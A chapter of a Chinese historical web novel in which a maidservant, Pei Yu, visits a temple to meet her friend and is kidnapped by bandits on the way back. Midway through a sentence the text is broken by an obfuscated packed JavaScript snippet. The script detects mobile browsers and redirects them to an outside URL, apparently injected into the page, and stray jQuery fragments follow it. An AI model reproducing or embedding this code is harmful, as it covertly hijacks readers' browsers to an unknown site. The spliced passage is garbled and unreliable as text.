几天后,柳怀瑾难得有一次休沐,像是要出门。
从晨起就一连换了好几套衣服。
裴妤在旁边看着,心生疑惑。
虽然不太可能,但柳怀瑾那样子真的很像是要出门去见心悦之人不谙世事的少年。
他没让松涧或是竹溪陪着,沈鄢带着仆从驾了马车过来接走了柳怀瑾。
这整件事从哪个细节来说,都挺古怪的。
然而松涧和竹溪像是习以为常了。
“每年这一天都会这样,你以后就习惯了。”
裴妤眨了眨眼,问他们:“既然之前也一样,那么大人今日大概什么时辰回来呢?”
松涧摸了下鼻子,问她:“你问这个做什么?”
“若是大人今日不在,奴婢在想,能不能告假一日?”
几日前,卫青芸就差人给她递了话,说邀她到沐云寺见面。
她们并不会一来一回通报答复,原本想着如果今日不好出门,卫青芸就不会一直在沐云寺等她,自己就会回家去了。
但柳怀瑾既然不在,裴妤想着趁这个机会去跟卫青芸见一面也未尝不可。
“你要去哪里?”
裴妤答道:“沐云寺。”
这是实话。
但究其原因就只能撒谎了。
“奴婢这几日总梦见逝去的亲人,还全是噩梦,想去沐云寺祭拜一下,求神佛庇佑。”
这不是什么大事,松涧就能做主,他允了裴妤的请求,并且让她“早些回来”。
“是。”
裴妤表现得很高兴,像小姑娘那种真挚的高兴。
松涧看起来倒是有些遗憾,“还以为你告假是想回侯府去找春月呢……”
竹溪看了他一眼,没忍住笑了一声,被松涧瞪了一眼。
裴妤假装没看到,但出门前又来跟他们两个道别,专门对着松涧开口:“若是松涧哥哥想见春月姐姐,其实大可以自己去找她。”
松涧的脸涨得通红,“我!我才没有……”
有没有只有他自己心里最清楚,裴妤不再多说。
到了沐云寺,卫青芸见到她非常惊喜。
“还以为今日你出不来呢。”
“本来我也以为,不过今日柳怀瑾出门去了,我看他不在,出门也简单,就来赴你的约。”
卫青芸早就准备了一桌子的菜。
但想着给她介绍一番,还没开口看着菜色叹了口气——
“先前没想过这一茬,在你生辰这日,再怎么样也该去微韵楼摆一桌的,现在只能在这里吃斋菜……”
裴妤回来之后,心中郁结从未消散,但见卫青芸如此为她打算,现在的沮丧并不是装的,心也软了软。
“此刻已经很好了,我很满足。”
卫青芸弯了弯唇,“那快吃吧,虽然全是斋菜,我也是费了些心思的,一会儿还有长寿面,你一定要吃完。”
裴妤听到“长寿面”三个字,不免得有些感伤起来。
卫青芸也跟她想到了一样的事,暗骂自己一声,抚摸着她的胳膊小声开口:“至少此刻……”
裴妤知道她的意思,牵起唇角对卫青芸笑笑,“我明白,谢谢你,芸娘。”
卫青芸一听她道谢眼睛就红了,“你我之间,何须说这个。”
她给裴妤夹了菜放在碗中,“快吃吧,尝尝看味道如何。”
裴妤并不是喜食荤腥之人,好友准备的这一餐不可谓是不用心,她每道菜都给出了很高的评价。
卫青芸脸上的笑容一直没有消散过。
吃完长寿面之后,裴妤跟卫青芸说起柳怀瑾前几日晚上的那次失态。
“他似乎有什么旧疾,贴身仆从不晓得知不知道,但至少他不想在犯病时让他们察觉到。”
“旧疾?”
卫青芸在得知现在裴妤跟在柳怀瑾身边之后,就打听过他的事。
“没听说他有什么旧疾啊。”
卫青芸好奇追问:“他表现出了什么症状?”
裴妤蓦地想起当夜床幔后面的人影,压抑着痛苦微微发颤的声音,即便如此,也没打破柳怀瑾一贯的从容稳定。
“不知道。”
她摇摇头,“当晚我们始终隔着床幔,我没看清他的样子。”
卫青芸眨了眨眼,“就算真有什么旧疾,你也不必关心,左右跟你没什么关系。”
她说:“要是真的是旧疾,以后肯定还有复发的时候,你总能找到机会探查清楚的。”
裴妤点点头,问起卫青芸那边的调查结果。
卫青芸表情微微凝滞,说:“还是那样……”
她先前就跟裴妤说过了,当年的事被掩盖得很彻底,旧人不是被远派就是已经身死,除了她这种虽然跟裴妤关系不错,但确实什么都不知道的苟活了下来,找不到了解实情还活着的人。
裴妤眉头微蹙,一直到卫青芸离开都没有舒展开来。
她估摸着时辰,知道自己该回去了。
像往常一样从斋房出来,顺着小路一直往外走,裴妤耳朵动了动,突然发现似乎有人跟在她后面。
这会儿时辰不算太晚,天还没黑,她想着兴许是自己多心,只是普通香客也不一定。
但多心未必不好。
裴妤试探着停下脚步擦鞋边,后面的脚步声也停下来了。
她继续前行,后面的人又跟了上来。
这下确定人是跟着她的了。
裴妤在想,会是谁呢?
会是卫青芸的人吗?
之前卫青芸提议过,想要派人跟着她保护她,很明显眼下她只是个普通丫鬟,身手不如从前,卫青芸担心她会遇到什么危险。
但裴妤已经拒绝了。
理由很简单,眼下她只是个普通丫鬟,谁会对她不利呢?
若有高手跟着她身后暗中保护她,被柳怀瑾或是其他人发现,岂不是此地无银三百两?
道理已经跟卫青芸说的很明白了,裴妤想,应该不会是她安排的人。
所以……会是柳怀瑾派来的人吗?
裴妤自从醒过来,避免不了的对周围的所有人和事都疑神疑鬼起来。
她甚至想,柳怀瑾难不成今日休沐出门,从早起就一直在对着她做戏吗?
他或许并不知道春玉就是裴妤,但说不定自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366601|199831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在什么地方露出了马脚,惹得他怀疑,所以要特意设局查探一番。
裴妤疾步前行,后面的人发现她发现了自己,也跟着加快脚步。
实际上他很快反应过来,自己不必着急忙慌的。
眼前不过就是个普普通通的瘦弱小丫头,既然被自己盯上,怎么可能逃得掉。
裴妤假装被抓,假装不痛不痒地反抗了一番被制服。
贼匪给她遮了眼睛,套了麻袋,行进一段路之后,将她扔到了一个地方,才把她眼睛上的布条扯下来。
屋子里还有其他姑娘,看起来都不过十来岁。
裴妤装作惊慌不已的样子,其他姑娘不知道被抓来多久了,有些神色呆滞,有些则痛哭流涕个不停。
“看,这就是尚书府那位大小姐身边的朋友,上次我就看到她们见面,今天确定了,那位就是尚书府的大小姐。”
绑裴妤回来的贼匪兴冲冲地跟同伴炫耀。
裴妤此刻已经完全确定了,这不可能是柳怀瑾做的局。
至少这些被绑来的姑娘就不可能是柳怀瑾的手笔。
“你们……你们想干什么?”
裴妤瑟缩成一团,不断后退,跟其他姑娘们越贴越近。
一个脸上有道疤的男人走上前来,匕首刀鞘抵住了裴妤的下巴,抬起了她的脸。
“你是尚书府大小姐的朋友?”
“我……我不是。”
“啧。”
绑裴妤回来的男人又高又壮,听她这么说,立刻走上前来。
“你别想骗我们,我亲眼看到你跟尚书府的大小姐,姓卫的那个。见了两次面,举止亲密得不得了,今天她提前到了,你们两个吃饭聊天,你被我带回来不久之前她才离开。”
裴妤仰头看着他们,“我……我们不是朋友。”
她颤抖着声音开口道:“我先前不过是有一次机缘巧合捡到了那位姑娘的东西,她感激我,所以才对我这么好的,我们算不上是朋友。”
“老三啊,你抓错人了吧,这下就算撕了这肉票尚书府也不会管的。”
“呸。”被叫做老三的男人狠狠啐了一口,“老子不信,肯定是这小丫头撒谎,你说说看,你是谁家的人?从哪儿来的?”
裴妤在脑子里飞快地盘算起来。
她不能撒谎说是卫青芸的朋友,因为一旦这些人去简单调查一下,就会清楚她们的身份有多悬殊,不可能做朋友。
但她又不能直白地表明自己和卫青芸不是朋友,不能让绑匪觉得她没有价值。
怎么引导,不是件简单的事。
裴妤脸色苍白,小声开口:“我不过是个普通的丫鬟,先前在……在文渊侯府做事,现在在……现在在少卿宅做事。”
“少卿……”这下轮到贼匪变脸色了,“不会是大理寺少卿吧?姓柳的还是姓沈的?”
“正是。”裴妤配合答道:“我家主子姓柳。”
两名贼匪对视一眼,神色各异。
“老三,你绑回来个大麻烦啊。”
“呸!就算是那家的丫鬟,也不过是个下人,老子就不信了,他们还能为了个小丫鬟查到我们。”